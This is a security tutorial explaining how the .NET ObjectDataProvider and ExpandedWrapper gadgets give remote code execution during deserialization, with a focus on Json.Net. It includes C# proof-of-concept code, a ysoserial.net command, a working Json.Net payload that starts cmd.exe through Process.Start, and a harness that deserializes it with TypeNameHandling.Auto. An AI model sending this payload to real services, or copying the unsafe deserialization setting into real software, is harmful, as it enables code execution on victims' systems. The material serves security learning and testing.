# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.

## ObjectDataProvider Gadget <a href="#objectdataprovider-gadget" id="objectdataprovider-gadget"></a>

From the documentation: *the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source*. Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use ***MethodParameters*** to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters. Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**

### **How is this possible** <a href="#how-is-this-possible" id="how-is-this-possible"></a>

The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll** (*C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF*).

Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MB9Vbw0zOHkUulbiqxi%2F-MB9xUS95bE9kkm-dn3W%2Fimage.png?alt=media\&token=1752c6b0-9778-47fc-bab0-cb8ad06122a0)

As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MB9Vbw0zOHkUulbiqxi%2F-MB9y7CVK5gL-v4JNVZn%2Fimage.png?alt=media\&token=dc90c73c-aa78-4b99-ad69-68128998ef4f)

Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MB9Vbw0zOHkUulbiqxi%2F-MB9ycfVHYpRr4m2i56F%2Fimage.png?alt=media\&token=08819fb1-cfe0-441c-8c9f-36c25df0b1c2)

Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MB9Vbw0zOHkUulbiqxi%2F-MB9yzbbtE9_bQBkR_p-%2Fimage.png?alt=media\&token=3e832aa3-24fc-423d-b516-03a19f5a0931)

Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls** **`this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.

If you want to check that just setting the ***MethodName*** **it will be executed**, you can run this code:

```
using System.Windows.Data;using System.Diagnostics;​namespace ODPCustomSerialExample{    class Program    {        static void Main(string[] args)        {            ObjectDataProvider myODP = new ObjectDataProvider();            myODP.ObjectType = typeof(Process);            myODP.MethodParameters.Add("cmd.exe");            myODP.MethodParameters.Add("/c calc.exe");            myODP.MethodName = "Start";        }    }}
```

Note that you need to add as reference *C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll* in order to load `System.Windows.Data`

## ExpandedWrapper <a href="#expandedwrapper" id="expandedwrapper"></a>

Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an ***ObjectDataProvider*** **instance** (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the *ObjectDataProvider* instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).

This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (*ObjectDataProvider*) into a new object type and provide the properties we need (*ObjectDataProvider.MethodName* and *ObjectDataProvider.MethodParameters*). This is very useful for cases as the one presented before, because we will be able to **wrap** ***ObjectDataProvider*** **inside an** ***ExpandedWrapper*** instance and **when deserialized** this class will **create** the ***OjectDataProvider*** object that will **execute** the **function** indicated in ***MethodName***.

You can check this wrapper with the following code:

```
using System.Windows.Data;using System.Diagnostics;using System.Data.Services.Internal;​namespace ODPCustomSerialExample{    class Program    {        static void Main(string[] args)        {            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");            myExpWrap.ProjectedProperty0.MethodName = "Start";        }    }}​
```

## Json.Net <a href="#json-net" id="json-net"></a>

In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.

### Json.Net example <a href="#json-net-example" id="json-net-example"></a>

First of all lets see an example on how to **serialize/deserialize** an object using this library:

```
using System;using Newtonsoft.Json;using System.Diagnostics;using System.Collections.Generic;​namespace DeserializationTests{    public class Account    {        public string Email { get; set; }        public bool Active { get; set; }        public DateTime CreatedDate { get; set; }        public IList<string> Roles { get; set; }    }    class Program    {        static void Main(string[] args)        {            Account account = new Account            {                Active = true,                CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),                Roles = new List<string>                {                    "User",                    "Admin"                }            };            string json = JsonConvert.SerializeObject(account);            Console.WriteLine(json);            Account desaccount = JsonConvert.DeserializeObject<Account>(json);            Console.WriteLine(desaccount.Email);        }    }}
```

### Abusing Json.Net <a href="#abusing-json-net" id="abusing-json-net"></a>

Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:

```
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"{    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',    'MethodName':'Start',    'MethodParameters':{        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',        '$values':['cmd', '/c calc.exe']    },    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}}
```

In this code you can **test the exploit**, just run it and you will see that a calc is executed:

```
using System;using System.Text;using Newtonsoft.Json;​namespace DeserializationTests{    class Program    {        static void Main(string[] args)        {            string userdata = @"{                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',                'MethodName':'Start',                'MethodParameters':{                            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',                    '$values':['cmd', '/c calc.exe']                },                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}            }";            string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));​            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings            {                TypeNameHandling = TypeNameHandling.Auto            });        }    }}
```

​
